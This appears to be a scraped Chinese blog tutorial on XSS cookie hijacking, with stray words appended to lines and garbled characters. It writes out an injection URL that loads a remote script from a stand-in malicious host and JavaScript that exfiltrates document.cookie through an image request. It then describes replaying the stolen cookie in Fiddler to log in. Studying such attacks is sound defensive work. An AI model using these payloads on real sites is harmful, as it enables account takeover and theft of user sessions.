完成具体功能的恶意脚本(javaScript、Flash 等)称为 XSS Payload。黑客会经过这些脚本,来控制用户的浏览器。劫持 Cookie 就是一种 XSS Payload。html
Cookie 中,通常加密存放着当前用户的登录凭证。若是 Cookie 被劫持,那么黑客就能够不使用密码,直接登录到用户的帐号中。java
首先先在存在 XSS 漏洞的网站,加载一段远程脚本,形如:后端
http://www.xxx.com/xxx.html?param="><script src=http://www.malice.com/malice.js></script> 复制代码
XSS Payload 写在 malice.js 中,这样就能够避免直接在 URL 参数中写入大量的脚本代码。浏览器
malice.js 内容:bash
var img = document.createElement("img");
img.src = "http://xxx.com/log?" + escape(document.cookie);
document.body.appendChild(img);
复制代码
escape() 函数可对字符串进行编码,这样就能够在全部的计算机上读取该字符串。服务器
在此,咱们动态建立了一个图片标签,并把 cookie 参数做为对象,发送给后端服务器。cookie
这样就完成了窃取 Cookie 的整个过程。app
一个网站,若是还未登陆,通常在右上角有个 “登陆” 连接:函数
假设已经获得了某个帐户的 Cookie 信息,那么就能够在 Fiddler 中,模拟 Get 请求:网站
而后就能够成功登录网站咯: